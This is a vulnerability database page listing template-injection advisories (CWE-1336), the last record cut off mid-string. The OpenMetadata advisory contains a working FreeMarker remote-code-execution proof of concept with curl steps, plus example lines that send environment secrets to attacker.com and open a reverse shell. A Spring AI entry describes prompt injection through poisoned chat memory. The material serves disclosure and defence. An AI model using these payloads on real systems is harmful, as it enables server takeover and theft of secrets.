GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-1336

Allowed

Improper Neutralization of Special Elements Used in a Template Engine

Abstraction: Base · Status: Incomplete

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

436 vulnerabilities reference this CWE, most recent first.

GHSA-4W64-J7CG-53XC

Vulnerability from github – Published: 2023-04-24 21:30 – Updated: 2023-04-24 21:30
VLAI
Details

Improper Neutralization of Special Elements Used in a Template Engine in GitHub repository alfio-event/alf.io prior to 2.0-M4-2304.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-2259"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-24T21:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Neutralization of Special Elements Used in a Template Engine in GitHub repository alfio-event/alf.io prior to 2.0-M4-2304.",
  "id": "GHSA-4w64-j7cg-53xc",
  "modified": "2023-04-24T21:30:30Z",
  "published": "2023-04-24T21:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2259"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alfio-event/alf.io/commit/94e2923a317452e337393789c9f3192dfc1ddac2"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/e753bce0-ce82-463b-b344-2f67b39b60ff"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-527Q-4WQV-G9WJ

Vulnerability from github – Published: 2025-10-16 20:28 – Updated: 2025-10-16 21:54
VLAI
Summary
bagisto has Server Side Template Injection (SSTI) in Product Description
Details

Summary

Bagisto v2.3.7 is vulnerable to Server-Side Template Injection (SSTI) due to unsanitized user input being processed by the server-side templating engine when rendering product descriptions. This allows an attacker with product creation privileges to inject arbitrary template expressions that are evaluated by the backend — potentially leading to Remote Code Execution (RCE) on the server.

Details

In Bagisto, product descriptions are rendered through Laravel’s Blade templating engine in various front-end and admin views. The product description field is not sanitized or escaped before being passed to the view, which means user-supplied data can break out of the expected string context and execute arbitrary template code.

PoC

Create a product and enter the payload to the description. image Preview the page, observed that the template expressions were evaluated by the backend and displayed on the screen. image

Impact

RCE potential: Attackers can execute arbitrary PHP code or system commands. Data breach: Read sensitive environment variables (.env), API keys, or database credentials. Defacement / persistence: Inject malicious scripts or backdoors in dynamic templates. Privilege escalation: If attackers have limited roles (e.g., product manager), they can compromise the entire application or host.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.7"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "bagisto/bagisto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-16T20:28:35Z",
    "nvd_published_at": "2025-10-16T19:15:34Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nBagisto v2.3.7 is vulnerable to Server-Side Template Injection (SSTI) due to unsanitized user input being processed by the server-side templating engine when rendering product descriptions. This allows an attacker with product creation privileges to inject arbitrary template expressions that are evaluated by the backend \u2014 potentially leading to Remote Code Execution (RCE) on the server.\n\n### Details\nIn Bagisto, product descriptions are rendered through Laravel\u2019s Blade templating engine in various front-end and admin views. The product description field is not sanitized or escaped before being passed to the view, which means user-supplied data can break out of the expected string context and execute arbitrary template code.\n\n### PoC\nCreate a product and enter the payload to the description.\n\u003cimg width=\"679\" height=\"669\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1e5dac3f-4043-4b31-98ed-f4346feb5477\" /\u003e\nPreview the page, observed that the template expressions were evaluated by the backend and displayed on the screen.\n\u003cimg width=\"1431\" height=\"922\" alt=\"image\" src=\"https://github.com/user-attachments/assets/16f29c6e-05f4-40c4-9926-0c59e0a979c2\" /\u003e\n\n\n### Impact\nRCE potential: Attackers can execute arbitrary PHP code or system commands.\nData breach: Read sensitive environment variables (.env), API keys, or database credentials.\nDefacement / persistence: Inject malicious scripts or backdoors in dynamic templates.\nPrivilege escalation: If attackers have limited roles (e.g., product manager), they can compromise the entire application or host.",
  "id": "GHSA-527q-4wqv-g9wj",
  "modified": "2025-10-16T21:54:30Z",
  "published": "2025-10-16T20:28:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-527q-4wqv-g9wj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62416"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bagisto/bagisto"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "bagisto has Server Side Template Injection (SSTI) in Product Description"
}

GHSA-565M-G33J-JQ96

Vulnerability from github – Published: 2026-07-06 16:52 – Updated: 2026-07-06 16:52
VLAI
Summary
Formie Hidden field defaults vulnerable to Server-Side Template Injection
Details

Summary

Formie Hidden fields could evaluate request-derived values as Twig during front-end form rendering.

When a Hidden field used a dynamic default value such as HTTP User Agent, Referer URL, Current URL, Query Parameter, or Cookie Value, the value was copied from the incoming request and later passed to Craft’s Twig rendering layer. This allowed an unauthenticated attacker to provide Twig syntax in request-controlled input and have it evaluated server-side when the form was rendered.

Affected Versions

verbb/formie for Craft 5: - Affected: >= 3.0.0-beta.1, <= 3.1.26 - Patched: 3.1.27

Impact

An unauthenticated attacker could trigger server-side template evaluation by visiting a public form containing a Hidden field configured with a request-derived default value.

Because Craft’s normal Twig environment exposes application objects, this may lead to disclosure of sensitive information, modification of application state, or remote code execution depending on the site configuration and available Twig capabilities.

Technical Details

The issue exists in the Hidden field front-end render path. Request-derived Hidden field defaults were assigned to the field’s defaultValue, then rendered via Twig in Hidden::getFrontEndInputOptions().

The fix ensures Twig rendering is only performed for the custom default option, where the template source is admin-authored. Request-derived default options are now treated as plain strings.

Patches

Update to Formie 3.1.27 or later.

Workarounds

Until patched, avoid using request-derived Hidden field defaults on public forms, including: - HTTP User Agent - HTTP Refer URL - Current URL - Current URL without Query String - Query Parameter - Cookie Value

Alternatively, remove affected Hidden fields from public forms until the update is applied.

Credit

Name: Yanchon918s Email: ao9s@ao9s.net

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "verbb/formie"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T16:52:16Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\nFormie Hidden fields could evaluate request-derived values as Twig during front-end form rendering.\n\nWhen a Hidden field used a dynamic default value such as HTTP User Agent, Referer URL, Current URL, Query Parameter, or Cookie Value, the value was copied from the incoming request and later passed to Craft\u2019s Twig rendering layer. This allowed an unauthenticated attacker to provide Twig syntax in request-controlled input and have it evaluated server-side when the form was rendered.\n\n## Affected Versions\n`verbb/formie` for Craft 5:\n- Affected: \u003e= 3.0.0-beta.1, \u003c= 3.1.26\n- Patched: 3.1.27\n\n## Impact\nAn unauthenticated attacker could trigger server-side template evaluation by visiting a public form containing a Hidden field configured with a request-derived default value.\n\nBecause Craft\u2019s normal Twig environment exposes application objects, this may lead to disclosure of sensitive information, modification of application state, or remote code execution depending on the site configuration and available Twig capabilities.\n\n## Technical Details\nThe issue exists in the Hidden field front-end render path. Request-derived Hidden field defaults were assigned to the field\u2019s defaultValue, then rendered via Twig in `Hidden::getFrontEndInputOptions()`.\n\nThe fix ensures Twig rendering is only performed for the custom default option, where the template source is admin-authored. Request-derived default options are now treated as plain strings.\n\n## Patches\nUpdate to Formie 3.1.27 or later.\n\n## Workarounds\nUntil patched, avoid using request-derived Hidden field defaults on public forms, including:\n- HTTP User Agent\n- HTTP Refer URL\n- Current URL\n- Current URL without Query String\n- Query Parameter\n- Cookie Value\n\nAlternatively, remove affected Hidden fields from public forms until the update is applied.\n\n## Credit\nName: Yanchon918s\nEmail: [ao9s@ao9s.net](mailto:ao9s@ao9s.net)",
  "id": "GHSA-565m-g33j-jq96",
  "modified": "2026-07-06T16:52:16Z",
  "published": "2026-07-06T16:52:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/verbb/formie/security/advisories/GHSA-565m-g33j-jq96"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/verbb/formie"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Formie Hidden field defaults vulnerable to Server-Side Template Injection"
}

GHSA-57CG-6GV7-XF26

Vulnerability from github – Published: 2025-09-23 06:30 – Updated: 2025-09-23 06:30
VLAI
Details

The Advanced Views – Display Posts, Custom Fields, and More plugin for WordPress is vulnerable to Server-Side Template Injection in all versions up to, and including, 3.7.19. This is due to insufficient input sanitization and lack of access control when processing custom Twig templates in the Model panel. This makes it possible for authenticated attackers, with author-level access or higher, to execute arbitrary PHP code and commands on the server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-10380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-23T04:15:46Z",
    "severity": "HIGH"
  },
  "details": "The Advanced Views \u2013 Display Posts, Custom Fields, and More plugin for WordPress is vulnerable to Server-Side Template Injection in all versions up to, and including, 3.7.19. This is due to insufficient input sanitization and lack of access control when processing custom Twig templates in the Model panel. This makes it possible for authenticated attackers, with author-level access or higher, to execute arbitrary PHP code and commands on the server.",
  "id": "GHSA-57cg-6gv7-xf26",
  "modified": "2025-09-23T06:30:26Z",
  "published": "2025-09-23T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10380"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/acf-views/tags/3.7.19/src/Template_Engines/Twig.php#L106"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3364566%40acf-views\u0026new=3364566%40acf-views\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/52b04517-f0be-4bbf-818c-70a12d76bfec?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-57GG-9J2P-5V4X

Vulnerability from github – Published: 2026-08-29 15:30 – Updated: 2026-08-29 15:30
VLAI
Details

Skyvern before 1.0.45 contains a sandbox escape vulnerability in TextPromptBlock that renders prompts twice, first through a sandboxed Jinja environment and then through an unsandboxed environment. Attackers can inject malicious Jinja template syntax through workflow parameters or upstream block output to execute arbitrary code with server process privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-82447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-29T13:16:38Z",
    "severity": "HIGH"
  },
  "details": "Skyvern before 1.0.45 contains a sandbox escape vulnerability in TextPromptBlock that renders prompts twice, first through a sandboxed Jinja environment and then through an unsandboxed environment. Attackers can inject malicious Jinja template syntax through workflow parameters or upstream block output to execute arbitrary code with server process privileges.",
  "id": "GHSA-57gg-9j2p-5v4x",
  "modified": "2026-08-29T15:30:19Z",
  "published": "2026-08-29T15:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82447"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Skyvern-AI/skyvern/commit/d723de621d5b3a340f3cc4d5b46bfe40a9a3124e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Skyvern-AI/skyvern"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Skyvern-AI/skyvern/blob/v1.0.44/skyvern/forge/sdk/prompting.py"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Skyvern-AI/skyvern/blob/v1.0.44/skyvern/forge/sdk/workflow/models/block.py"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/skyvern-before-1.0.45-sandbox-escape-via-textpromptblock"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5852-PHMH-8FHR

Vulnerability from github – Published: 2026-05-12 12:32 – Updated: 2026-05-18 17:54
VLAI
Summary
Spring AI: Prompt Injection via Memory Poisoning in PromptChatMemoryAdvisor
Details

A malicious user could craft input that is stored in conversation memory and later interpreted by the model in an unintended way. Applications using the affected advisor with user-controlled input may be susceptible to manipulation of model behavior across conversation turns.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.ai:spring-ai-client-chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.ai:spring-ai-client-chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0-M1"
            },
            {
              "fixed": "1.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41713"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T17:54:15Z",
    "nvd_published_at": "2026-05-12T11:16:19Z",
    "severity": "HIGH"
  },
  "details": "A malicious user could craft input that is stored in conversation memory and later interpreted by the model in an unintended way. Applications using the affected advisor with user-controlled input may be susceptible to manipulation of model behavior across conversation turns.",
  "id": "GHSA-5852-phmh-8fhr",
  "modified": "2026-05-18T17:54:15Z",
  "published": "2026-05-12T12:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41713"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-ai"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-41713"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring AI: Prompt Injection via Memory Poisoning in PromptChatMemoryAdvisor"
}

GHSA-59J8-776V-XXXG

Vulnerability from github – Published: 2024-02-09 15:04 – Updated: 2024-02-16 22:31
VLAI
Summary
NoneBot Potential Information Leak in User-Constructed Message Templates
Details

Impact

This security advisory pertains to a potential information leak (e.g., environment variables) in instances where developers utilize MessageTemplate and incorporate user-provided data into templates.

Patches

The identified vulnerability has been remedied in fix #2509 and will be included in versions released after 2.1.3. Users are strongly advised to upgrade to these patched versions to safeguard against the vulnerability.

Workarounds

A temporary workaround involves filtering underscores before incorporating user input into the message template.

References

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nonebot2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0a16"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-21624"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-09T15:04:08Z",
    "nvd_published_at": "2024-02-09T23:15:08Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThis security advisory pertains to a potential information leak (e.g., environment variables) in instances where developers utilize `MessageTemplate` and incorporate user-provided data into templates.\n\n### Patches\nThe identified vulnerability has been remedied in fix #2509 and will be included in versions released after 2.1.3. Users are strongly advised to upgrade to these patched versions to safeguard against the vulnerability.\n\n### Workarounds\nA temporary workaround involves filtering underscores before incorporating user input into the message template.\n\n### References\n- [Pull Request #2509](https://github.com/nonebot/nonebot2/pull/2509)\n- [CWE-1336](https://cwe.mitre.org/data/definitions/1336.html)",
  "id": "GHSA-59j8-776v-xxxg",
  "modified": "2024-02-16T22:31:37Z",
  "published": "2024-02-09T15:04:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nonebot/nonebot2/security/advisories/GHSA-59j8-776v-xxxg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21624"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nonebot/nonebot2/pull/2509"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nonebot/nonebot2/commit/b65b3b438c95894654fd9081139989c757bdc6c1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nonebot/nonebot2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nonebot2/PYSEC-2024-37.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NoneBot Potential Information Leak in User-Constructed Message Templates"
}

GHSA-5F29-2333-H9C7

Vulnerability from github – Published: 2026-01-07 19:33 – Updated: 2026-08-31 23:00
VLAI
Summary
OpenMetadata's Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE
Details

OpenMetadata RCE Vulnerability - Proof of Concept

Executive Summary

CRITICAL Remote Code Execution vulnerability confirmed in OpenMetadata v1.11.2 via Server-Side Template Injection (SSTI) in FreeMarker email templates.

Credit

  • @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 – FPT Cloud AppSec Research Team, FPT Smart Cloud

Vulnerability Details

1. Root Cause

File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java

Lines 35-45 contain unsafe FreeMarker template instantiation:

public Template getTemplate(String templateName) throws IOException {
    EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
    String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE

    if (nullOrEmpty(template)) {
        throw new IOException("Template content not found for template: " + templateName);
    }

    return new Template(
        templateName, 
        new StringReader(template),  // ← RENDERS UNTRUSTED TEMPLATE
        new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS!
}

Missing Security Controls: - ❌ No setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) - Allows arbitrary class instantiation - ❌ No setAPIBuiltinEnabled(false) - Enables ?api built-in for reflection - ❌ No input validation - Template content not sanitized

2. Attack Vector (VERIFIED)

Step 1: Attacker with Admin role modifies EmailTemplate via PATCH endpoint

PATCH /api/v1/docStore/{templateId}
Authorization: Bearer <admin_jwt_token>
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/data/template",
    "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>"
  }
]

Step 2: Malicious template stored in MySQL database:

SELECT name, JSON_EXTRACT(json, '$.data.template') 
FROM docstore 
WHERE name = 'account-activity-change';

-- Returns: <#assign ex=\"freemarker.template.utility.Execute\"?new()>...

Step 3: Trigger template rendering via email notification: - Password change - User invitation - Account activity notification - Test email (if SMTP configured)

Step 4: RCE execution in DefaultTemplateProvider.getTemplate():

Template template = templateProvider.getTemplate("account-activity-change");
template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER!

Exploit Verification

Environment

  • Version: OpenMetadata 1.11.2 (Latest)
  • Platform: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4)
  • Test Date: December 15, 2025

Step-by-Step Reproduction

1. Deploy OpenMetadata 1.11.2

cd docker
./run_local_docker.sh -m no-ui -d mysql

Result: ✅ OpenMetadata running on localhost:8585

2. Obtain Admin JWT Token

export NO_PROXY=localhost,127.0.0.1
TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \
  | grep -o '"accessToken":"[^"]*' | cut -d'"' -f4)

echo "Token: ${TOKEN:0:50}..."

Result: ✅ Token obtained (654 characters, 1-hour expiry)

3. Identify Target Template

# Get testMail template ID (used by test email endpoint)
curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \
  -H "Authorization: Bearer $TOKEN" \
  | jq -r '.data[] | select(.name=="testMail") | .id'

Result: ✅ Template ID: 855f58c6-1b80-467a-b92e-71c425e9bfdb

4. Inject RCE Payload

curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \
  -H "Content-Type: application/json-patch+json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{
    "op": "replace",
    "path": "/data/template",
    "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
  }]'

Result: ✅ HTTP 200 OK - Template modified successfully

Response Excerpt:

{
  "id": "855f58c6-1b80-467a-b92e-71c425e9bfdb",
  "name": "testMail",
  "entityType": "EmailTemplate",
  "data": {
    "template": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
  },
  "changeDescription": {
    "fieldsUpdated": [
      {
        "name": "data",
        "oldValue": "{\"template\":\"<!DOCTYPE HTML ...ORIGINAL_TEMPLATE...\"}",
        "newValue": "{\"template\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"}"
      }
    ]
  }
}

5. Setup SMTP Server

# Start MailDev SMTP server (catches emails for verification)
docker run -d --name fakesmtp \
  --network linhln31_default \
  -p 1025:1025 -p 1080:1080 \
  maildev/maildev:latest

# Update OpenMetadata SMTP configuration
docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \
  -Dopenmetadata_db -e "UPDATE openmetadata_settings 
  SET json=JSON_SET(json, 
    '$.serverEndpoint', 'fakesmtp', 
    '$.serverPort', 1025, 
    '$.transportationStrategy', 'SMTP',
    '$.enableSmtpServer', true,
    '$.senderMail', 'noreply@openmetadata.org'
  ) 
  WHERE configType='emailConfiguration';"

# Restart OpenMetadata to load new SMTP config
docker restart om_server
sleep 50  # Wait for server startup

Result: ✅ SMTP server ready at fakesmtp:1025

6. Trigger RCE Execution

curl -X PUT "http://localhost:8585/api/v1/system/email/test" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"email":"test@test.com"}'

Result: ✅ HTTP 200 OK - "Test Email Sent Successfully."

7. Verify RCE Execution

# Check email content in MailDev
docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10

Result: ✅ RCE CONFIRMED!

Email Content:

Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT)
From: noreply@openmetadata.org
To: test@test.com
Message-ID: <1307498173.2.1765818200564@62a9f8b5b6f2>
Subject: OpenMetadata : Test Email
MIME-Version: 1.0
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

RCE OUTPUT: openmetadata
 - /opt/openmetadata

Command Execution Proof: - ✅ whoami command executed → returned openmetadata - ✅ pwd command executed → returned /opt/openmetadata - ✅ Commands ran as server process user - ✅ Full arbitrary command execution achieved


Attack Scenarios

Scenario 1: Privilege Escalation

  1. Attacker compromises Admin account (phishing, credential stuffing, etc.)
  2. Injects RCE payload into password-reset template
  3. Triggers password reset for target user
  4. RCE executes as OpenMetadata server user during email rendering
  5. Attacker gains shell access to application server

Scenario 2: Data Exfiltration

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")}

Exfiltrates environment variables containing: - Database credentials - API keys and secrets - JWT signing keys - Cloud provider credentials

Scenario 3: Reverse Shell

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}

Establishes persistent access for: - Interactive command execution - Lateral movement to connected systems - Database direct access - Kubernetes cluster compromise (if containerized)


Impact Assessment

Technical Impact

  • Confidentiality: HIGH - Access to database credentials, API keys, secrets
  • Integrity: HIGH - Full control over OpenMetadata application and data
  • Availability: HIGH - Ability to crash application, delete data, deny service

Business Impact

  • Data Breach: Access to all metadata including sensitive schema information, PII mappings, data lineage
  • Compliance: GDPR, SOC2, HIPAA violations if exploited
  • Reputation: Critical security failure in data governance platform
  • Supply Chain: Potential pivot to connected data sources (70+ connectors)

CVSS 3.1 Score

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L) - Simple API requests
  • Privileges Required (PR): High (H) - Admin role required
  • User Interaction (UI): None (N)
  • Scope (S): Changed (C) - Impacts beyond application (server OS)
  • Confidentiality (C): High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)

Score: 9.1 (CRITICAL)


Remediation

Immediate Fix (CRITICAL)

File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java

Replace lines 38-42 with:

public Template getTemplate(String templateName) throws IOException {
    EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
    String template = emailTemplate.getTemplate();

    if (nullOrEmpty(template)) {
        throw new IOException("Template content not found for template: " + templateName);
    }

    // SECURITY FIX: Create sandboxed FreeMarker configuration
    Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);

    // Block dangerous built-ins
    cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
    cfg.setAPIBuiltinEnabled(false);
    cfg.setClassicCompatible(false);

    // Restrict template loading
    cfg.setTemplateLoader(new StringTemplateLoader());

    return new Template(templateName, new StringReader(template), cfg);
}

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.open-metadata:platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-07T19:33:03Z",
    "nvd_published_at": "2026-01-08T16:16:02Z",
    "severity": "HIGH"
  },
  "details": "# OpenMetadata RCE Vulnerability - Proof of Concept\n\n## Executive Summary\n\n**CRITICAL Remote Code Execution vulnerability** confirmed in OpenMetadata v1.11.2 via **Server-Side Template Injection (SSTI)** in FreeMarker email templates.\n\n## Credit\n- @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 \u2013 FPT Cloud AppSec Research Team, FPT Smart Cloud\n\n## Vulnerability Details\n\n### 1. Root Cause\n\nFile: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`\n\n**Lines 35-45** contain unsafe FreeMarker template instantiation:\n\n```java\npublic Template getTemplate(String templateName) throws IOException {\n    EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);\n    String template = emailTemplate.getTemplate(); // \u2190 USER-CONTROLLED CONTENT FROM DATABASE\n    \n    if (nullOrEmpty(template)) {\n        throw new IOException(\"Template content not found for template: \" + templateName);\n    }\n    \n    return new Template(\n        templateName, \n        new StringReader(template),  // \u2190 RENDERS UNTRUSTED TEMPLATE\n        new Configuration(Configuration.VERSION_2_3_31)); // \u2190 UNSAFE: NO SECURITY RESTRICTIONS!\n}\n```\n\n**Missing Security Controls**:\n- \u274c No `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` - Allows arbitrary class instantiation\n- \u274c No `setAPIBuiltinEnabled(false)` - Enables `?api` built-in for reflection\n- \u274c No input validation - Template content not sanitized\n\n### 2. Attack Vector (VERIFIED)\n\n**Step 1**: Attacker with Admin role modifies 